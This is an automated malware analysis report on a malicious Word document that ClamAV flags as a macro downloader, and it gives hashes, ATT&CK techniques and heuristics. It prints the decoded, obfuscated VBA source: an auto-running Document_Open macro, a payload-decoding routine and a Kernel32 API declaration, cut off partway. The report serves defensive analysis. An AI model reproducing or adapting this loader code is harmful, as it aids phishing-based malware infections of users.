Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0c6f20fe957929d2…

MALICIOUS

Office (OLE)

187.0 KB Created: 2018-02-08 15:42:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: aaf55a50f2889faee8a5b06a78127119 SHA-1: d493dc2470ef05dc8a4f08f094b8f29b7808f4a6 SHA-256: 0c6f20fe957929d2da424ac84395afdbe71d9ea59c5e838d786524410c1d15ee
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Macro-6539595-0, indicating it is a macro-based downloader. The presence of a Document_Open macro further supports this, as it is designed to execute automatically when the document is opened. The VBA code, while partially obfuscated, contains calls that suggest it is intended to download and execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10291 bytes
SHA-256: 7114c6370324084ae71667f0658c5a06e8dec716c8aeb4da569da64f8e0c2596
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Private Sub Document_Open()
avengeance
betrothed = 1 + 42
Pmt 0, betrothed, 20744, 39916, 3
End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{6043E641-740A-406E-8020-2CDCD12D00DB}{2F427BD0-A116-4752-B89C-CDCD8ADEB381}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "exacerbation"
Attribute VB_Base = "0{5EBFFBE7-34C3-4322-A7E6-E0934B859C6E}{54092987-0FC1-401D-AD3D-20945C8B360E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "flacs"


Function leicestershire(sapir, linstock, aigulet)
Dim pipidae As LongPtr
Dim guardroom As LongPtr
Dim trininty As LongPtr
Dim diversion As LongPtr
Dim amice As LongPtr
guardroom = sapir
amice = aigulet
diversion = linstock
Pmt 0, (31 + 42), 10623, 56622, 6
arabic = theocratic
pipidae = 125 - 114 - 12
breatless ByVal pipidae, _
guardroom, _
diversion, amice, _
trininty
End Function

Function endoparasite(distributed) As String
Dim junket(63) As Long
Dim disfranchise(63) As Long
Dim awestruck(63) As Long
Dim glade As Long
Dim midwinter As Long
Dim footlocker(6962) As Byte
Dim disarranged() As Byte
Dim shabbygenteel As Long
Dim clash As Long
betise = 2 - 87 + 65365
undecked = 64 - 119 + 119
inverter = 93 - 17 + 16711604
naturalized = 60 - 82 + 65558
chalky = 38 - 102 + 320
albification = 86 - 27 + 262085
Dim brahmaputra() As Byte
brahmaputra = VBA.StrConv(distributed, 120 + 8)
choragus = 10 + 42
Pmt 0, choragus, 19984, 39320, 4
stalin = 7840 + 3
benzenoid = vbKeyShift - 12
For amateurism = 0 To stalin
If amateurism Mod 2 = 0 Then
brahmaputra(amateurism) = brahmaputra(amateurism) - benzenoid
Else
brahmaputra(amateurism) = brahmaputra(amateurism) - (benzenoid - 1)
End If
Next amateurism
ayah = 51 + 27
Pmt 0, ayah, 7247, 48327, 7
avens = krill
For clash = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
junket(clash) = manually(clash, undecked, 72)
disfranchise(clash) = manually(clash, (30 - 71 + 4137), 72)
awestruck(clash) = manually(clash, albification, 72)
Next clash
tensimeter = 48 + 1
 Pmt 0, tensimeter, 33200, 27106, 3

disarranged = brahmaputra
reception = 5 - 3 + 2
anginal = 9 + 22
 Pmt 0, anginal, 18740, 30183, 8

assyriology = 75 - 121 + 49
benevolent = Math.Round(471)

theocratic = theocratic

beads = assyriology + 1
inherence = 122 - 5 - 115
For shabbygenteel = 0 To stalin
yew = disarranged(shabbygenteel)
dialogism = disarranged(shabbygenteel + 2)
adscript = disfranchise(avens(disarranged(shabbygenteel + 1)))
expiration = junket(avens(dialogism)) + avens(disarranged(shabbygenteel + assyriology))
glade = awestruck(avens(yew)) + adscript + expiration
clash = manually(glade, inverter, 60 + 4)
footlocker(midwinter) = manually(clash, naturalized, 50 + 4)
clash = manually(glade, betise, 60 + 4)
footlocker(midwinter + 1) = manually(clash, chalky, 50 + 4)
footlocker(midwinter + inherence) = manually(glade, (91 - 55 + 219), 60 + 4)
midwinter = midwinter + inherence + 1
shabbygenteel = shabbygenteel + 3
Next
endoparasite = footlocker
End Function

Attribute VB_Name = "fortiles"
#If (26 - 86 + 460 + 38 - 12 + 274) > ((21 - 84 + 383) - (9 - 60 + 591) * 1) And ((58 - 66 + 36) - (18 - 126 + 136)) * 2 < (Win64) Then
Public Declare PtrSafe Function fresno _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (beardown As Any, ByVal casualty As Any, ByVal spirodela As Any, ByVal barry As Any, ByVal agalloch As Any, ByVal cardsharp As Any, ByVal n
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.